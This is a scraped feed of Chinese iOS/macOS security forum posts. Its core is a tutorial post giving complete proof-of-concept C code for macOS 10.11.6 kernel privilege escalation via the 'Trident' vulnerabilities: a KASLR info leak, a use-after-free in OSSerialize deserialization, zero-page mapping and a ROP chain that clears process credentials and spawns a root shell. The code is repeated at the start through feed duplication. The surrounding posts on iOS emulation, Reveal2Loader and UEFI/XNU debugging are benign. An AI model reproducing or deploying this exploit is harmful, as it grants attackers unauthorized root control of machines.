  PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_posix_cred_get"));

  PUSH_GADGET(chain) = ROP_RAX_TO_ARG1(map, chain);
  PUSH_GADGET(chain) = ROP_ARG2(chain, map, (sizeof(int) * 3));
  PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_bzero"));

  PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_thread_exception_return"));
  uint64_t *transfer = (uint64_t *)0x0;
  transfer[0] = ROP_POP_RSP(map);
  transfer[1] = (uint64_t)chain->chain;
  
  //触发反序列化
  host_get_io_master(mach_host_self(), &master);

  kr = io_service_get_matching_services_bin(master, (char *)dict, index, &res);
  if (kr != KERN_SUCCESS)
      return;
}

int main(){
  sync();
  uaf();
  if(getuid() == 0){
    printf("exploit successfully~\n");
    system("/bin/bash");
  }
  return 0;  
}

64bit下通用

#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <mach/mach.h>
#include <mach/mach_vm.h>

#include "librop/librop.h"

#include <IOKit/IOKitLib.h>
#include <IOKit/iokitmig.h>
//0xd3
#define kOSSerializeCodeSignature "\323\0\0"

enum {
  kOSSerializeDictionary = 0x01000000U,
  kOSSerializeArray        = 0x02000000U,
  kOSSerializeSet          = 0x03000000U,
  kOSSerializeNumber       = 0x04000000U,
  kOSSerializeSymbol       = 0x08000000U,
  kOSSerializeString       = 0x09000000U,
  kOSSerializeData         = 0x0a000000U,
  kOSSerializeBoolean      = 0x0b000000U,
  kOSSerializeObject       = 0x0c000000U,
  kOSSerializeTypeMask     = 0x7F000000U,
  kOSSerializeDataMask     = 0x00FFFFFFU,
  kOSSerializeEndCollection = 0x80000000U,
};


uint64_t info_leak(void){
  kern_return_t kr=0,err=0;
  //mach端口
  mach_port_t res=MACH_PORT_NULL,master=MACH_PORT_NULL;

  //iokit的参数 
  io_service_t serv = 0;
  io_connect_t conn = 0;
  io_iterator_t iter = 0;
  
  //构造字典
  void *dict = calloc(1, 512);
  int index = 0;
  
  memcpy(dict, kOSSerializeCodeSignature ,sizeof(kOSSerializeCodeSignature));
  index += sizeof(kOSSerializeCodeSignature);
  *(uint32_t *)(dict+index) = kOSSerializeDictionary | kOSSerializeEndCollection | 2;
  index += 4;
  *(uint32_t *)(dict+index) = kOSSerializeSymbol | 4;
  index += 4;  
  *(uint32_t *)(dict+index) = 0x00414141;
  index += 4;
  *(uint32_t *)(dict+index) = kOSSerializeNumber | kOSSerializeEndCollection | 0x200;
  index += 4;
  //因为要编译成32bit所以按照32bit写入
  *(uint32_t *)(dict+index) = 0x41414141;
  index += 4;
  *(uint32_t *)(dict+index) = 0x41414141;
  index += 4;
  host_get_io_master(mach_host_self(), &master);
  kr = io_service_get_matching_services_bin(master, (char *)dict, index ,&res);
  if(kr != KERN_SUCCESS) return -1;
  printf("字典合法,success\n");

  serv = IOServiceGetMatchingService(master, IOServiceMatching("IOHDIXController")); 
  kr = io_service_open_extended(serv, mach_task_self(), 0, NDR_record, (io_buf_ptr_t)dict, index, &err, &conn);
  
  if(kr != KERN_SUCCESS) return -1;
  printf("泄漏成功, success\n");
  

  IORegistryEntryCreateIterator(serv, "IOService", kIORegistryIterateRecursively, &iter);
  io_object_t object = IOIteratorNext(iter);

  char buffer[0x20A] = {0};
  mach_msg_type_number_t bufLen = 0x200;
  if(kr!=KERN_SUCCESS) return -1;
  kr = io_registry_entry_get_property_bytes(object, "AAA", (char *)&buffer, &bufLen);
/*
  for(uint32_t k = 0; k < 128; k += 8) {
        printf("%llx\n", *(uint64_t *)(buffer + k));
  }
*/  
  //硬编码地址要自己逆向去找
  uint64_t hard_code_ret_addr = 0xffffff800039bc2f;
  //地址是内核栈上的第几个也要通过打印自己看
  printf("KASLR is :%llx\n", (*(uint64_t *)(buffer+7*sizeof(uint64_t)))-hard_code_ret_addr);
  return (*(uint64_t *)(buffer+7*sizeof(uint64_t)))-hard_code_ret_addr;
}

void uaf(){
  kern_return_t kr = 0;
  mach_port_t res = MACH_PORT_NULL, master = MACH_PORT_NULL;
  rop_chain_t *chain = calloc(1, sizeof(rop_chain_t));  
  //构造字典
  void *dict = calloc(1, 512);
  int index = 0;

  printf("high: %x, low: %x\n, whole: %llx", (uint32_t)((uint64_t)chain->chain >> 32), (uint32_t)chain->chain, (uint64_t)chain->chain);
//获取内核偏移
  SET_KERNEL_SLIDE(info_leak());
  //拿到内核
  macho_map_t *map = map_file_with_path("/System/Library/Kernels/kernel");
  printf("开始构造 ROP chain\n"); 

/*
  chain->chain[0] = 0;
  chain->chain[1] = 0;
  chain->chain[2] = 0;
  chain->chain[3] = ROP_POP_RBX(map);
  chain->chain[4] = ROP_XCHG_RSP_RAX(map);
  chain->chain[5] = SLIDE_POINTER(find_symbol_address(map, "_current_proc"));
  chain->chain[6] = ROP_RAX_TO_ARG1(map, chain);
  chain->chain[7] = SLIDE_POINTER(find_symbol_address(map, "_proc_ucred"));
  chain->chain[8] = ROP_RAX_TO_ARG1(map, chain);
  chain->chain[9] = SLIDE_POINTER(find_symbol_address(map, "_posix_cred_get"));
  chain->chain[10] = ROP_RAX_TO_ARG1(map, chain);
  chain->chain[11] = ROP_ARG2(chain, map, (sizeof(int) * 3));
  chain->chain[12] = SLIDE_POINTER(find_symbol_address(map, "_bzero"));
  chain->chain[13] = SLIDE_POINTER(find_symbol_address(map, "_thread_exception_return"));
  for(int i = 0 ;i < 14 ;i++)
	printf("%d: %d\n",i, chain->chain[i]);
*/


  //为了更直观我就不用宏了
  memcpy(dict, kOSSerializeCodeSignature, sizeof(kOSSerializeCodeSignature));
  index += 4;
  *(uint32_t *)(dict+index) = kOSSerializeDictionary | kOSSerializeEndCollection | 6;
  index += 4;
  *(uint32_t *)(dict+index) = kOSSerializeString | 4;
  index += 4;
  *(uint32_t *)(dict+index) = 0x00414141;
  index += 4;
  *(uint32_t *)(dict+index) = kOSSerializeBoolean | 1;
   index += 4;
  *(uint32_t *)(dict+index) = kOSSerializeSymbol | 4;
  index += 4;
  *(uint32_t *)(dict+index) = 0x00424242;
  index += 4;
  *(uint32_t *)(dict+index) = kOSSerializeData | 0x20;
  index += 4;
  *(uint32_t *)(dict+index) = (uint32_t)chain->chain;
  index += 4;
  *(uint32_t *)(dict+index) = (uint32_t)((uint64_t)chain->chain>>32);
  index += 4;
  for(int i = 0 ; i < 6 ;i++){
  *(uint32_t *)(dict+index) = 0x00000000; 
  index += 4;
  }
  *(uint32_t *)(dict+index) = kOSSerializeSymbol | 4;
  index += 4;
  *(uint32_t *)(dict+index) = 0x00434343;
  index += 4;
  *(uint32_t *)(dict+index) = kOSSerializeObject | kOSSerializeEndCollection | 1;
  index += 4;

  
  
  PUSH_GADGET(chain) = 0;
  PUSH_GADGET(chain) = 0;
  PUSH_GADGET(chain) = 0;
  PUSH_GADGET(chain) = ROP_POP_RBX(map);
  PUSH_GADGET(chain) = ROP_XCHG_RSP_RAX(map);
  PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_current_proc"));
  PUSH_GADGET(chain) = ROP_RAX_TO_ARG1(map, chain);
  PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_proc_ucred"));
  PUSH_GADGET(chain) = ROP_RAX_TO_ARG1(map, chain);
  PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_posix_cred_get"));
  PUSH_GADGET(chain) = ROP_RAX_TO_ARG1(map, chain);
  PUSH_GADGET(chain) = ROP_ARG2(chain, map, (sizeof(int) * 3));
  PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_bzero"));
  PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_thread_exception_return"));

for(int i = 0 ;i < 16 ;i++)
	printf("%d: %llx\n",i, chain->chain[i]);

  //触发反序列化
  host_get_io_master(mach_host_self(), &master);

  kr = io_service_get_matching_services_bin(master, (char *)dict, index, &res);
  if (kr != KERN_SUCCESS)
      return;


}

int main(){
  sync();
  uaf();
  if(getuid() == 0){
    printf("exploit successfully~\n");
    system("/bin/bash");
  }
  return 0;  
}

0x04 参考链接

因为很多人写过相关,所以我就不班门弄斧了,丢几个写的好的链接供大家参考
1.jndok
2.lookout
3.zhengmin(Spark)

Posts: 1

Participants: 1

Read full topic


IOS模拟器的研究进展 --- 开篇

$
0
0

@Lody wrote:

我们知道,在idevice上启动系统,最先启动的引导程序是经过加密的,不考虑更新/其它引导模式,启动流程基本如下:

bootrom > Low Level Bootloader(LLB) > iBoot > kernelcache > launchd > Userspace Programs

那么按照常规的思路,我们需要实现IOS的全部硬件,映射与设备相同的物理内存,然后在模拟器中加载bootrom,让bootrom启动iBoot,iBoot再加载Kernel然后引导完成整个系统的启动。

但是问题是,LLB、iBSS、iBEC、iBoot,这些全都是加密的,截止目前在a10、a11、a12处理器的设备上还没有办法得到它们解密后的数据,也没有公开的boot stage漏洞,那么是不是没有了它们,模拟器就没戏了呢?答案是否定的。

经过实践,我确定实际上可以通过模拟iBoot的加载行为,代替iboot直接加载整个内核,而之前的 bootrom > Low Level Bootloader(LLB) > iBoot 步骤,则全都可以跳过,由于iBoot再往上的层次的所有文件,我们都是可以得到的,在ios11 以后,甚至ipsw固件中的kernelcache.release都没有经过加密,因此我们也不再需要固化在apple CPU之中的group ID用于解密。你也可能会问,iboot连解密的文件都没有,都无法逆向,怎么去模拟它呢?还记得当时泄露的IOS 9 iboot源码吗,这个时候它就真的派上用场了,事实上,泄露的iboot源码中还包含了a10处理器的资料(代号T8010),这是一个64位的CPU,想必与之后的a11、a12处理器是很接近的, 如果没有这个机缘,想必实现ios模拟器将要难上许多。

接下来,再来聊一聊CPU,a11及a12的处理器除了常规的CPU都有的寄存器以外,还有很多个私有的寄存器,这些都没有任何的公开资料,如在exception level 1的模式下,KTRR会访问多个神秘的状态寄存器,如图(ios 12.0.0):



这些寄存器的读写与xnu的COW(copy on write)机制紧密关联,从而达到了了优化目的,所以一个通用的arm64 CPU是不足以运行定制在apple cpu处理器上的kernel的。

好了,当一个经过修改的CPU与apple CPU完全兼容以后,接下来要搞定的是各项kext的加载,这一块是最费时间的地方,为了弄清楚一个kext的用处,你需要一点一点的逆向它的逻辑,从而间接的了解相关硬件是如何work,有任何一个driver没有适配,都可能导致内核panic或导致接下来的行为与预期完全不同…
这里有一个很酷的trick,就是你可以通过修改device tree文件来禁用对应的kext。
此外,当qemu的性能无法满足要求时,就可以开始学习:
https://github.com/MerryMage/dynarmic
这个项目目前已被用在Switch模拟器的项目上。

CorelliumHQ 的作者们花在逆向IOS系统的时间长达九年,但是这并不代表这个工程你无法完成。
每一个无敌的模拟器,都必须迈过模拟未公开资料的硬件的坎,从 ppsspp 到现在的 citra、vita3k,皆是如此。与它们相比,IOS模拟器的难度并不见得高到了哪里。

本文主要以介绍思路为主,在后续会有更多的资料,希望能够与各位交流,早日完成iOS emulator!

Posts: 11

Participants: 5

Read full topic

利用三叉戟漏洞实现通用提权

$
0
0

@Peterpan0927 wrote:

# 0x00 前言
在对漏洞进行学习的时候,因为各方面细小知识点的缺少,导致踩了一些坑,这次来分析的是之前很多人已经说过的三叉戟漏洞的后两个来实现的本地提权,虽然有很多poc,但是其中的描述并不是很详细,所以我就通过自己的学习过程来做一些科普吧算是。
在阅读之前需要对于这两个漏洞有一定的了解,资料我丢在链接部分了,完整的代码贴在我的github上了。

0x01 流程

首先我还是按照惯例梳理了整个Poc的流程画了一张流程图,可以结合poc看看:

macOS10.11.6本地提权 (1).jpg

在这个流程中我们为了触发反序列化需要用到一些IOKit的私有API,所以首先需要对整个流程有一定的了解:

IOServiceOpen Workflow

0x02 踩坑处

  1. 对于macOS中堆的分配机制不太了解,因为UAF的构造就是利用这个性质,可以去看一下kalloc或者linux上的堆分配器Glibc的分配机制都会有所帮助
  2. 对于NULL pointer解引用从而跳到零页面,参考stackover flow
  3. 对于零页面的构造,这个有关于C++的vtable在内存中的情况,可以参考深入理解C++对象模型第一章。

0x03 Poc

32bit利用zero page

#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <mach/mach.h>
#include <mach/mach_vm.h>

#include "librop/librop.h"

#include <IOKit/IOKitLib.h>
#include <IOKit/iokitmig.h>
//0xd3
#define kOSSerializeCodeSignature "\323\0\0"

enum {
  kOSSerializeDictionary = 0x01000000U,
  kOSSerializeArray        = 0x02000000U,
  kOSSerializeSet          = 0x03000000U,
  kOSSerializeNumber       = 0x04000000U,
  kOSSerializeSymbol       = 0x08000000U,
  kOSSerializeString       = 0x09000000U,
  kOSSerializeData         = 0x0a000000U,
  kOSSerializeBoolean      = 0x0b000000U,
  kOSSerializeObject       = 0x0c000000U,
  kOSSerializeTypeMask     = 0x7F000000U,
  kOSSerializeDataMask     = 0x00FFFFFFU,
  kOSSerializeEndCollection = 0x80000000U,
};


uint64_t info_leak(void){
  kern_return_t kr=0,err=0;
  //mach端口
  mach_port_t res=MACH_PORT_NULL,master=MACH_PORT_NULL;

  //iokit的参数 
  io_service_t serv = 0;
  io_connect_t conn = 0;
  io_iterator_t iter = 0;
  
  //构造字典
  void *dict = calloc(1, 512);
  int index = 0;
  
  memcpy(dict, kOSSerializeCodeSignature ,sizeof(kOSSerializeCodeSignature));
  index += sizeof(kOSSerializeCodeSignature);
  *(uint32_t *)(dict+index) = kOSSerializeDictionary | kOSSerializeEndCollection | 2;
  index += 4;
  *(uint32_t *)(dict+index) = kOSSerializeSymbol | 4;
  index += 4;  
  *(uint32_t *)(dict+index) = 0x00414141;
  index += 4;
  *(uint32_t *)(dict+index) = kOSSerializeNumber | kOSSerializeEndCollection | 0x200;
  index += 4;
  //因为要编译成32bit所以按照32bit写入
  *(uint32_t *)(dict+index) = 0x41414141;
  index += 4;
  *(uint32_t *)(dict+index) = 0x41414141;
  index += 4;
  host_get_io_master(mach_host_self(), &master);
  kr = io_service_get_matching_services_bin(master, (char *)dict, index ,&res);
  if(kr != KERN_SUCCESS) return -1;
  printf("字典合法,success\n");

  serv = IOServiceGetMatchingService(master, IOServiceMatching("IOHDIXController")); 
  kr = io_service_open_extended(serv, mach_task_self(), 0, NDR_record, (io_buf_ptr_t)dict, index, &err, &conn);
  
  if(kr != KERN_SUCCESS) return -1;
  printf("泄漏成功, success\n");
  

  IORegistryEntryCreateIterator(serv, "IOService", kIORegistryIterateRecursively, &iter);
  io_object_t object = IOIteratorNext(iter);

  char buffer[0x20A] = {0};
  mach_msg_type_number_t bufLen = 0x200;
  if(kr!=KERN_SUCCESS) return -1;
  kr = io_registry_entry_get_property_bytes(object, "AAA", (char *)&buffer, &bufLen);
  for(uint32_t k = 0; k < 128; k += 8) {
        printf("%llx\n", *(uint64_t *)(buffer + k));
  }
  //硬编码地址要自己逆向去找
  uint64_t hard_code_ret_addr = 0xffffff800039bc2f;
  //地址是内核栈上的第几个也要通过打印自己看
  printf("KASLR is :%llx\n", (*(uint64_t *)(buffer+7*sizeof(uint64_t)))-hard_code_ret_addr);
  return (*(uint64_t *)(buffer+7*sizeof(uint64_t)))-hard_code_ret_addr;
}

void uaf(){
  kern_return_t kr = 0;
  mach_port_t res = MACH_PORT_NULL, master = MACH_PORT_NULL;
  //构造字典
  void *dict = calloc(1, 512);
  int index = 0;
  //为了更直观我就不用宏了
  memcpy(dict, kOSSerializeCodeSignature, sizeof(kOSSerializeCodeSignature));
  index += 4;
  *(uint32_t *)(dict+index) = kOSSerializeDictionary | kOSSerializeEndCollection | 6;
  index += 4;
  *(uint32_t *)(dict+index) = kOSSerializeString | 4;
  index += 4;
  *(uint32_t *)(dict+index) = 0x00414141;
  index += 4;
  *(uint32_t *)(dict+index) = kOSSerializeBoolean | 1;
   index += 4;
  *(uint32_t *)(dict+index) = kOSSerializeSymbol | 4;
  index += 4;
  *(uint32_t *)(dict+index) = 0x00424242;
  index += 4;
  *(uint32_t *)(dict+index) = kOSSerializeData | 0x20;
  index += 4;
  for(int i = 0 ; i < 8 ;i++){
  *(uint32_t *)(dict+index) = 0x00000000; 
  index += 4;
  }
  *(uint32_t *)(dict+index) = kOSSerializeSymbol | 4;
  index += 4;
  *(uint32_t *)(dict+index) = 0x00434343;
  index += 4;
  *(uint32_t *)(dict+index) = kOSSerializeObject | kOSSerializeEndCollection | 1;
  index += 4;
  //制造零页面
  mach_vm_address_t zero_page = 0;
  vm_deallocate(mach_task_self(), 0x0, PAGE_SIZE);
  kr = mach_vm_allocate(mach_task_self(), &zero_page, PAGE_SIZE, 0);
  if (kr != KERN_SUCCESS)  return;
  
  //拿到内核
  macho_map_t *map = map_file_with_path("/System/Library/Kernels/kernel");
  
  //获取内核偏移
  SET_KERNEL_SLIDE(info_leak());
  //劫持rip,关键字防止编译器做修改
  *(volatile uint64_t *)(0x20) = (volatile uint64_t)ROP_XCHG_ESP_EAX(map);
 
  //rop chain
   printf("开始构造 ROP chain\n");

  rop_chain_t *chain = calloc(1, sizeof(rop_chain_t));

  PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_current_proc"));

  PUSH_GADGET(chain) = ROP_RAX_TO_ARG1(map, chain);
  PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_proc_ucred"));

  PUSH_GADGET(chain) = ROP_RAX_TO_ARG1(map, chain);
  PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_posix_cred_get"));

  PUSH_GADGET(chain) = ROP_RAX_TO_ARG1(map, chain);
  PUSH_GADGET(chain) = ROP_ARG2(chain, map, (sizeof(int) * 3));
  PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_bzero"));

  PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_thread_exception_return"));
  uint64_t *transfer = (uint64_t *)0x0;
  transfer[0] = ROP_POP_RSP(map);
  transfer[1] = (uint64_t)chain->chain;
  
  //触发反序列化
  host_get_io_master(mach_host_self(), &master);

  kr = io_service_get_matching_services_bin(master, (char *)dict, index, &res);
  if (kr != KERN_SUCCESS)
      return;
}

int main(){
  sync();
  uaf();
  if(getuid() == 0){
    printf("exploit successfully~\n");
    system("/bin/bash");
  }
  return 0;  
}

pwn-32

64bit下通用

#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <mach/mach.h>
#include <mach/mach_vm.h>

#include "librop/librop.h"

#include <IOKit/IOKitLib.h>
#include <IOKit/iokitmig.h>
//0xd3
#define kOSSerializeCodeSignature "\323\0\0"

enum {
  kOSSerializeDictionary = 0x01000000U,
  kOSSerializeArray        = 0x02000000U,
  kOSSerializeSet          = 0x03000000U,
  kOSSerializeNumber       = 0x04000000U,
  kOSSerializeSymbol       = 0x08000000U,
  kOSSerializeString       = 0x09000000U,
  kOSSerializeData         = 0x0a000000U,
  kOSSerializeBoolean      = 0x0b000000U,
  kOSSerializeObject       = 0x0c000000U,
  kOSSerializeTypeMask     = 0x7F000000U,
  kOSSerializeDataMask     = 0x00FFFFFFU,
  kOSSerializeEndCollection = 0x80000000U,
};


uint64_t info_leak(void){
  kern_return_t kr=0,err=0;
  //mach端口
  mach_port_t res=MACH_PORT_NULL,master=MACH_PORT_NULL;

  //iokit的参数 
  io_service_t serv = 0;
  io_connect_t conn = 0;
  io_iterator_t iter = 0;
  
  //构造字典
  void *dict = calloc(1, 512);
  int index = 0;
  
  memcpy(dict, kOSSerializeCodeSignature ,sizeof(kOSSerializeCodeSignature));
  index += sizeof(kOSSerializeCodeSignature);
  *(uint32_t *)(dict+index) = kOSSerializeDictionary | kOSSerializeEndCollection | 2;
  index += 4;
  *(uint32_t *)(dict+index) = kOSSerializeSymbol | 4;
  index += 4;  
  *(uint32_t *)(dict+index) = 0x00414141;
  index += 4;
  *(uint32_t *)(dict+index) = kOSSerializeNumber | kOSSerializeEndCollection | 0x200;
  index += 4;
  //因为要编译成32bit所以按照32bit写入
  *(uint32_t *)(dict+index) = 0x41414141;
  index += 4;
  *(uint32_t *)(dict+index) = 0x41414141;
  index += 4;
  host_get_io_master(mach_host_self(), &master);
  kr = io_service_get_matching_services_bin(master, (char *)dict, index ,&res);
  if(kr != KERN_SUCCESS) return -1;
  printf("字典合法,success\n");

  serv = IOServiceGetMatchingService(master, IOServiceMatching("IOHDIXController")); 
  kr = io_service_open_extended(serv, mach_task_self(), 0, NDR_record, (io_buf_ptr_t)dict, index, &err, &conn);
  
  if(kr != KERN_SUCCESS) return -1;
  printf("泄漏成功, success\n");
  

  IORegistryEntryCreateIterator(serv, "IOService", kIORegistryIterateRecursively, &iter);
  io_object_t object = IOIteratorNext(iter);

  char buffer[0x20A] = {0};
  mach_msg_type_number_t bufLen = 0x200;
  if(kr!=KERN_SUCCESS) return -1;
  kr = io_registry_entry_get_property_bytes(object, "AAA", (char *)&buffer, &bufLen);
/*
  for(uint32_t k = 0; k < 128; k += 8) {
        printf("%llx\n", *(uint64_t *)(buffer + k));
  }
*/  
  //硬编码地址要自己逆向去找
  uint64_t hard_code_ret_addr = 0xffffff800039bc2f;
  //地址是内核栈上的第几个也要通过打印自己看
  printf("KASLR is :%llx\n", (*(uint64_t *)(buffer+7*sizeof(uint64_t)))-hard_code_ret_addr);
  return (*(uint64_t *)(buffer+7*sizeof(uint64_t)))-hard_code_ret_addr;
}

void uaf(){
  kern_return_t kr = 0;
  mach_port_t res = MACH_PORT_NULL, master = MACH_PORT_NULL;
  rop_chain_t *chain = calloc(1, sizeof(rop_chain_t));  
  //构造字典
  void *dict = calloc(1, 512);
  int index = 0;

  printf("high: %x, low: %x\n, whole: %llx", (uint32_t)((uint64_t)chain->chain >> 32), (uint32_t)chain->chain, (uint64_t)chain->chain);
//获取内核偏移
  SET_KERNEL_SLIDE(info_leak());
  //拿到内核
  macho_map_t *map = map_file_with_path("/System/Library/Kernels/kernel");
  printf("开始构造 ROP chain\n"); 

/*
  chain->chain[0] = 0;
  chain->chain[1] = 0;
  chain->chain[2] = 0;
  chain->chain[3] = ROP_POP_RBX(map);
  chain->chain[4] = ROP_XCHG_RSP_RAX(map);
  chain->chain[5] = SLIDE_POINTER(find_symbol_address(map, "_current_proc"));
  chain->chain[6] = ROP_RAX_TO_ARG1(map, chain);
  chain->chain[7] = SLIDE_POINTER(find_symbol_address(map, "_proc_ucred"));
  chain->chain[8] = ROP_RAX_TO_ARG1(map, chain);
  chain->chain[9] = SLIDE_POINTER(find_symbol_address(map, "_posix_cred_get"));
  chain->chain[10] = ROP_RAX_TO_ARG1(map, chain);
  chain->chain[11] = ROP_ARG2(chain, map, (sizeof(int) * 3));
  chain->chain[12] = SLIDE_POINTER(find_symbol_address(map, "_bzero"));
  chain->chain[13] = SLIDE_POINTER(find_symbol_address(map, "_thread_exception_return"));
  for(int i = 0 ;i < 14 ;i++)
	printf("%d: %d\n",i, chain->chain[i]);
*/


  //为了更直观我就不用宏了
  memcpy(dict, kOSSerializeCodeSignature, sizeof(kOSSerializeCodeSignature));
  index += 4;
  *(uint32_t *)(dict+index) = kOSSerializeDictionary | kOSSerializeEndCollection | 6;
  index += 4;
  *(uint32_t *)(dict+index) = kOSSerializeString | 4;
  index += 4;
  *(uint32_t *)(dict+index) = 0x00414141;
  index += 4;
  *(uint32_t *)(dict+index) = kOSSerializeBoolean | 1;
   index += 4;
  *(uint32_t *)(dict+index) = kOSSerializeSymbol | 4;
  index += 4;
  *(uint32_t *)(dict+index) = 0x00424242;
  index += 4;
  *(uint32_t *)(dict+index) = kOSSerializeData | 0x20;
  index += 4;
  *(uint32_t *)(dict+index) = (uint32_t)chain->chain;
  index += 4;
  *(uint32_t *)(dict+index) = (uint32_t)((uint64_t)chain->chain>>32);
  index += 4;
  for(int i = 0 ; i < 6 ;i++){
  *(uint32_t *)(dict+index) = 0x00000000; 
  index += 4;
  }
  *(uint32_t *)(dict+index) = kOSSerializeSymbol | 4;
  index += 4;
  *(uint32_t *)(dict+index) = 0x00434343;
  index += 4;
  *(uint32_t *)(dict+index) = kOSSerializeObject | kOSSerializeEndCollection | 1;
  index += 4;

  
  
  PUSH_GADGET(chain) = 0;
  PUSH_GADGET(chain) = 0;
  PUSH_GADGET(chain) = 0;
  PUSH_GADGET(chain) = ROP_POP_RBX(map);
  PUSH_GADGET(chain) = ROP_XCHG_RSP_RAX(map);
  PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_current_proc"));
  PUSH_GADGET(chain) = ROP_RAX_TO_ARG1(map, chain);
  PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_proc_ucred"));
  PUSH_GADGET(chain) = ROP_RAX_TO_ARG1(map, chain);
  PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_posix_cred_get"));
  PUSH_GADGET(chain) = ROP_RAX_TO_ARG1(map, chain);
  PUSH_GADGET(chain) = ROP_ARG2(chain, map, (sizeof(int) * 3));
  PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_bzero"));
  PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_thread_exception_return"));

for(int i = 0 ;i < 16 ;i++)
	printf("%d: %llx\n",i, chain->chain[i]);

  //触发反序列化
  host_get_io_master(mach_host_self(), &master);

  kr = io_service_get_matching_services_bin(master, (char *)dict, index, &res);
  if (kr != KERN_SUCCESS)
      return;


}

int main(){
  sync();
  uaf();
  if(getuid() == 0){
    printf("exploit successfully~\n");
    system("/bin/bash");
  }
  return 0;  
}

0x04 参考链接

因为很多人写过相关,所以我就不班门弄斧了,丢几个写的好的链接供大家参考
1.jndok
2.lookout
3.zhengmin(Spark)

Posts: 1

Participants: 1

Read full topic

解决iOS11下Reveal2Loader失效问题

$
0
0

@lemon4ex wrote:

之所以Reveal2Loader失效是因为dlopen加载RevealServer失败,参考CydiaSubstrate.framework,通过创建一个符号链接来绕过。测试可行。

有需要的移步到:Reveal2Loader

Posts: 2

Participants: 2

Read full topic

固件(UEFI)逆向到内核(XNU)启动高级调试

$
0
0

@jmpews wrote:

Prologue

把之前在内网写的文章分享下.

原链接在这里 https://github.com/jmpews/NoteZ/issues/41

0x1: 内核探析之路连载

本系列将会分为几篇文章, 主要研究/解析对象是 XNU 内核, 期望达到的目的是介绍一些 Kernel 相关知识(包括 x86/x86_64/ARM64), 并(预计)最终实现 iOS-Kernel-Debugger or iOS-Kernel-Manipulator

0x0: 内核探析 之 <固件(UEFI)逆向到内核(XNU)启动高级调试>

0x1: 内核探析之路 之 [内核初始化] or [ 内存管理, 进程管理] or [中断, 陷阱, 异常] (待定)

0x2: iOS-Kernel-Debugger Refer Ian Beer (@i41nbeer) (待定)

0x3: iOS-Kernel-Manipulator (待定)

0x2: 简介:

常用的内核调试, 通常依赖于 Kernel 内置的 debugger 支持, 比如 XNU 需要设置 boot-args 里开启 debug, 之后通过 kdp 远程挂载正在等待的远程 Kernel. 这种方式在双机调试的时候很有用处, 但是这种调试依赖于 Kernel 支持, 也就说无法从 Kernel 的第一条指令开始调试.

对于需要在实模式就开始进行调试的可以借助 bochs, qemu, 前两种大多数情况下属于 emulator, VMware 则需要依赖于宿主 CPU. 因此虽然都直接在 vm 启动时就开启调试. 还是有很大区别的, 比如对于 bochsqemu 会直接拦截 #DB 而不管 Guest 下的 IDT, 但是对于 VMware 则依赖于 Guest 的 IDT, 这将在下文存在一个很大的坑.

这里使用 VMware, 并没有使用 qemu or bochs, 但 qemu 在对 Linux Kernel Debug 的场景使用非常多.

由于在 Guest VM 启动时进行调试, 可能会认为应该直接进入 kernel, 但是这里没有, 而是进入 UEFI 固件, 因为 XNU 不是采用传统的 BIOS 引导, 所以才有了下文的关于 EFI 的分析.

0x3: 前置知识

  1. x86/x86_64 Architecture Manual 相关知识, 例如 GDT, IDT 的相关知识, 保护模式(PE, protected-mode)下分页机制(Paging)相关.
  2. 熟练阅读 x86/x86_64 汇编, 分清 AT&T 与 intel 两种 assembly syntax.
  3. IDA 的使用, 下文在分析过程有很多需要对 IDA 分析的无符号固件进行手动符号化, 但是具体的步骤没有赘述, 需要读者有这方面的能力.
  4. UEFI 相关知识
  5. 文章涉及比较多的固件逆向

本文也感谢 @0xAA55 @任工黑 等 Windows 内核/虚拟化大佬, 在关键的问题的一同讨论.

也感谢 @乾越 在关键问题给出的一些建议.

0x1: VMware 调试环境配置

Tips: VMware + GDB 的调试文章比较多这里就不详细赘述了.

0x1: 安装 macOS 10.12.6

0x2: 下载 KDK

根据 macOS 下载 KDK.

0x3: 配置 development Kernel

首先需要进入到 recorvery-mode 关闭 SIP(System Integrity Protection), 这里有两种方法可以在 VMware 进入 recorvery-mode

  1. 从 VMwar 进入 recorvery-mode 进行如下步骤, 首先选择 <启动到固件>, 之后按照如下进入 recorvery-modeboot.efi.
  2. Enter Setup -> Boot from a file -> Recorvery File Option

这里在关闭 SIP 之后, 将 KDK 里的 kernel.development 移动到 /System/Library/Kernels, 之后使用 kextcache 将 kernel 和 kexts 共同 link 成 PrelinkedKernel, 添加启动参数 nvram boot-args="-v, 这里并没有像很多文章那里增加 -v debug=0x141 kext-dev-mode=1 kcsuffix=development 之类的参数, 因为首先这里不是通过 kdp 调试, 其次读者也可以在下文发现, 即使不指定参数固件也会首选 deveopment 后缀的 PrelinkedKernel.

如果成功将会看到有 prelinkedkernel.develpment 存在

0x4: 开始调试

调试使用 VMware Fusion(也有使用 Win 下的 VMware), 编辑已安装虚拟机目录下的 macOS 10.12.vmx 文件, 增加以下配置.

debugStub.listen.guest64 = "TRUE" # 本地调试
debugStub.port.guest64 = "55555" # 调试端口
debugStub.hideBreakpoints = "TRUE" # 使用硬断
bios.bootDelay = "3000" # bios 延迟启动
monitor.debugOnStartGuest64 = "TRUE" # 在启动时停止

使用 IDA 的 Remote GDB debugger attach 去挂载 localhost:55555 , 我们在如下的地址断下.

0x2: 分析 EFI64.rom

